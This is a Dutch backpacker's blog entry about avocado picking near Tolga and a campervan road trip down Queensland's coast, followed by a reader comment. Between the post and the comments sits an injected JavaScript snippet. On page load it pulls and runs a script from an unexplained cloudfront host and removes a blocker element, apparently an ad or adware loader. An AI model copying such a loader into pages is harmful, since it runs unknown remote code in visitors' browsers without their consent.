14 mei
3 weken nadat we bij het working hostel aankwamen gingen we er alweer weg. Het bleek toch wat duurder dan verwacht om via een working hostel te werken. De boer bood ons nog aan op zijn erf te blijven staan om de kosten van het working hostel te vermijden, maar dan zouden we onze 400 dollar borg (200 dollar pp) niet terug krijgen. Het avocado plukken zelf was niet zo erg. We gebruikten lange stokken om het fruit te plukken en af en toe klommen we in een boom in om bij het hoge fruit te komen. Op vieze kleding en een stijve nek na geen problemen dus. We hadden leuke collega fruitplukkers en waren met maximaal 7 tegelijk aan het werk. Omdat het maar een kleine farm was, was de farmer zelf heel gemakkelijk. We konden muziek luisteren en onze pauzes waren niet zo strikt. Verder blijft fruit plukken een vermoeiend baantje dus na het werk had je niet veel energie meer om nog wat te doen. Wat gelukkig ook niet nodig was gezien er in dit gat “Tolga” niks maar dan ook NIKS te doen was.
Op dagen dat we niet werkten verveelde iedereen zich dood. Films kijken, boeken lezen, kaarten en een beetje gamen op de laptop was alles wat je kon doen.
De eigenaresse van het working hostel was zachtst gezegd geobsedeerd door geld. Het koste ons nog heel wat moeite voor we het voor elkaar kregen na 3 weken met onze 400 dollar borg weg te komen. Gelukkig nog niet zoveel als 2 andere backpackers die de politie er bij haalden om hun borg terug te krijgen.
Er was volop bewondering voor Ross z’n kookkunsten. Zo hebben we een paar keer een heel team in de keuken gezet om bijv. voor 10 personen sticky toffee pudding of een nacho schotel te maken.
En toen begon dan eindelijk onze roadtrip! Na 1 avond feesten met collega’s in Cairns gingen we de oostkust af. Onze 1e stop was Townsville, het informatie centrum was gesloten dus na een lange wandeling naar de subway met 2 lekkere broodjes terug de auto in. Met de auto hebben we een dik boek met land kaarten en gratis overnacht plaatsen langs de snelwegen gekregen. En hier maken we dan ook dankbaar gebruik van. Op een aantal parkeerplaatsen delen ze ook nog gratis koffie, thee en koekjes uit! Met ons gasstelletje, stoeltjes en tafeltje redden we ons heel goed met de auto. Helaas mag je op de meeste van deze gratis campings maximaal 20 uur staan. Opzich lang genoeg, maar het is nog geen vervanging voor de hostels die we tot nu toe gehad hebben.
Na onze 1e nacht langs de weg zijn we bij Bowen rond gaan zoeken naar werk. Er werd ons verteld dat we hier het beste gewoon langs de fruit farms konden rijden om persoonlijk te vragen of ze er werk voor ons hadden. We zijn er een stuk of 15 afgereden alleen ze waren of nog niet begonnen, of ze hadden al genoeg werkers. We hebben onze naam en telefoonnummers nog achtergelaten bij een aantal, maar zonder succes.
Door rijden naar Airlie Beach dan maar.
Airlie Beach is de beste plek om van de Whitsunday Islands te genieten. Maar eerst moesten we een plek hebben om te slapen. Na 1 keer weggestuurd te worden door de security vonden we een goede plek waar het Ross slim leek om de auto zo schuin als maar kan op een helling in de berm te parkeren. Om een lang verhaal kort te maken, toen we eenmaal loskwamen besloten we 5 meter verderop te gaan slapen.
En de volgende dag genieten van onze pas geboekte tour!
We hebben een geweldige dagtour gemaakt op een soort verhemelde rubberboot. Tijdens die tour zijn we eerst gaan snorkelen op een rif dichtbij een van de 74 eilanden. Na een uurtje schildpadden achtervolgen zijn we verder gevaren langs Hill Inlet (swirling sands, google maar). Na een lunch op Whitehaven beach zijn we naar de lookout gegaan. Een grote platte rots bovenaan het eiland met een geweldig uitzicht (foto’s op facebook!) We hebben ook nog komodo varanen gezien (Yes mum, real komodo dragons), en wat op het strand gelegen. Na een kletsnatte terugreis wat gekookt op ons gasstelletje en de backpackers die we de dag daarvoor ontmoet hadden uitgelachen om hun 200 dollar boete (ze waren in de stad in hun auto gaan slapen).
Rond Mackay, bij Carmila Beach heeft Ross zijn eerste kangoeroe aangereden. Geloof het of niet maar hij kon er niks aan doen. Hij heeft zich netjes aan de regels gehouden en het diertje was in 1 klap dood.
We zijn ook nog 2 echte Aussies tegengekomen die net zelf een roadtrip achter de rug hadden. Ze wouden nog even genieten van hun laatste vrije avond, en vonden het niet erg een biertje te delen. Toen het bier op was kreeg Ross de kans om in een 4WD te rijden. Geen zorgen, hij had maar 1 biertje op. Helaas was de pub al gesloten en zijn we naast het broedstrand voor zeeschildpadden lekker gaan slapen. De volgende ochtend nog wat foto’s van het strand gemaakt en wat schelpen opgeraapt om Eddie het autobusje wat op te fleuren en we konden weer verder.
Rond Rockhampton was ook geen werk te vinden, dus zijn we zo snel mogelijk doorgegaan naar Gin Gin. Onderweg nog een stop gemaakt bij een van de zeldzame parkeerplaatsen met douches die ondertussen erg welkom waren geworden.
Na 2 pogingen werk te vinden rond Gin Gin kwamen we erachter dat het zondag was. Tijdsbesef is niet ons sterkste punt hier in Australie. Om onze zondag niet helemaal te verspillen zijn we naar een meer in de buurt gegaan dat bekend stond om de Barramundi en baarzen (voor de kenners: grote vissen). Toen we vroegen of we hengels konden huren was de enige reactie: “that’s a great idea! I’ll tell my boss about it.” Dus hebben we maar wat gezwommen en langs het water kaartspelletjes zitten spelen.
Vandaag zijn we in Hervey Bay aangekomen. Eindelijk weer een fatsoenlijke camping waar we warm kunnen douchen, een goede keuken mogen gebruiken en internet kunnen kopen! Helaas is er ook hier geen werk in de buurt. Het zal nog spannend worden of we werk vinden voor ons geld voor benzine op is. Gelukkig staan er na morgen geen grote uitgaven meer op de planning. Morgen nemen we een one-day tour op Fraser Island waar we later zeker meer over zullen vertellen!
Terug naar de popcorn en de films op de laptop! (want het internet is alweer op)
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};Reacties
Reacties
*sigh* it all sounds wonderful (apart from the suicidal kangeroo - shame) and could you please send me directions to Gin Gin - sounds like my kind of place........ hahaha.
Nice to hear from you both again.
Reageer
Laat een reactie achter!
- {{ error }}